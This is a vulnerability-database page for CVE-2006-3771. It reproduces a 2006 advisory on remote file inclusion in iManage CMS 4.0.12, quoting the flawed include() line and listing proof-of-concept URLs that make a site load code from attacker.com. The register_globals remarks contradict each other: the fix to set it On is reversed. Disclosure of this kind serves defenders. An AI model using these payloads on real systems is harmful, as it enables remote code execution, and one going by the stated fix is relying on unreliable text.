iManage CMS 'component.php'多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110646 漏洞类型 输入验证
发布时间 2006-07-20 更新时间 2006-08-07
CVE编号 CVE-2006-3771 CNNVD-ID CNNVD-200607-375
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2046
https://cxsecurity.com/issue/WLB-2006070102
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-375
|漏洞详情
iManageCMS4.0.12及之前版本中的component.php存在多个PHP远程文件包含漏洞。远程攻击者可以借助对(1)articles.php,(2)contact.php,(3)displaypage.php,(4)faq.php,(5)mainbody.php,(6)news.php,(7)registration.php,(8)whosOnline.php,(9)components/com_calendar.php,(10)components/com_forum.php,(11)components/minibb/index.php,(12)components/minibb/bb_admin.php,(13)components/minibb/bb_plugins.php,(14)modules/mod_calendar.php,(15)modules/mod_browser_prefs.php,(16)modules/mod_counter.php,(17)modules/mod_online.php,(18)modules/mod_stats.php,(19)modules/mod_weather.php,(20)themes/bizz.php,(21)themes/default.php,(22)themes/simple.php,(23)themes/original.php,(24)themes/portal.php,(25)themes/purple.php以及其他未明文件的absolute_path参数中的URL,执行任意PHP代码。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_40$2006

---------------------------------------------------------------------------------------------------
[ECHO_ADV_40$2006] iManage CMS <= 4.0.12 (absolute_path) Remote File Inclusion
---------------------------------------------------------------------------------------------------

Author          : Ahmad Maulana a.k.a Matdhule
Date Found      : July, 20th 2006
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv40-matdhule-2006.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
iManage CMS from Imaginex-Resource

Application     : iManage CMS
version         : 4.0.12 stable
URL             : http://www.imaginex-resource.com

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

-----------------------component.php----------------------
....
<?php
/**
*    iManage Version 4.0.12
*    Dynamic portal server and Content managment engine
*    03-02-2003
*
*    Copyright (C) 2000 - 2003 Imaginex-Resource
*
*    Site Name: iManage Version 4.0.12
*    File Name: rightComponent.php
*    Date: 31/01/2003
*     Version #: 4.0.12
*    Comments: Display all modules which are to be displayed on the right.
**/

include($absolute_path.'/language/'.$lang.'/lang_components.php');
...
----------------------------------------------------------

Input passed to the "absolute_path" parameter in component.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources

Affected files: 

articles.php
contact.php
displaypage.php
faq.php
mainbody.php
news.php
registration.php
whosOnline.php
components/com_calendar.php
components/com_forum.php
components/minibb/index.php
components/minibb/bb_admin.php
components/minibb/bb_plugins.php
modules/mod_calendar.php
modules/mod_browser_prefs.php
modules/mod_counter.php
modules/mod_online.php
modules/mod_stats.php
modules/mod_weather.php
themes/bizz.php
themes/default.php
themes/simple.php
themes/original.php
themes/portal.php
themes/purple.php

and more :)

Successful exploitation requires that "register_globals= Off ".

Proof Of Concept:
~~~~~~~~~~~~~

http://target.com/[path]/articles.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/contact.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/displaypage.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/faq.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/mainbody.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/news.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/registration.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/whosOnline.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_calendar.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/com_forum.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/components/minibb/index.php?absolute_path=http://attacker.com//inject.txt?
http://target.com/[path]/modules/mod_calendar.php?absolute_path=http://attacker.com//inject.txt?

and more Affected files


Solution:
~~~~~
- Change register_globals= On 
  in php.ini
- Sanitize variable $absolute_path on affected files.

---------------------------------------------------------------------------
Shoutz:
~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson  :) 
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-07-20]
|参考资料

来源:BID
名称:19090
链接:http://www.securityfocus.com/bid/19090
来源:BUGTRAQ
名称:20060720[ECHO_ADV_40$2006]iManageCMS<=4.0.12(absolute_path)RemoteFileInclusion
链接:http://www.securityfocus.com/archive/1/archive/1/440642/100/0/threaded
来源:MISC
链接:http://advisories.echo.or.id/adv/adv40-matdhule-2006.txt
来源:XF
名称:imanagecms-absolutepath-file-include(27875)
链接:http://xforce.iss.net/xforce/xfdb/27875
来源:OSVDB
名称:28671
链接:http://www.osvdb.org/28671
来源:OSVDB
名称:28670
链接:http://www.osvdb.org/28670
来源:OSVDB
名称:28669
链接:http://www.osvdb.org/28669
来源:OSVDB
名称:28668
链接:http://www.osvdb.org/28668
来源:OSVDB
名称:28667
链接:http://www.osvdb.org/28667
来源:OSVDB
名称:28666
链接:http://www.osvdb.org/28666
来源:OSVDB
名称:28665
链接:http://www.osvdb.org/28665
来源:OSVDB
名称:28664
链接:http://www.osvdb.org/28664
来源:OSVDB
名称:28663
链接:http://www.osvdb.org/28663
来源:OSVDB
名称:28662
链接:http://www.osvdb.org/28662
来源:OSVDB
名称:28661
链接:http://www.osvdb.org/28661
来源:OSVDB
名称:28660
链接:http://www.osvdb.org/28660
来源:OSVDB
名称:28659
链接:http://www.os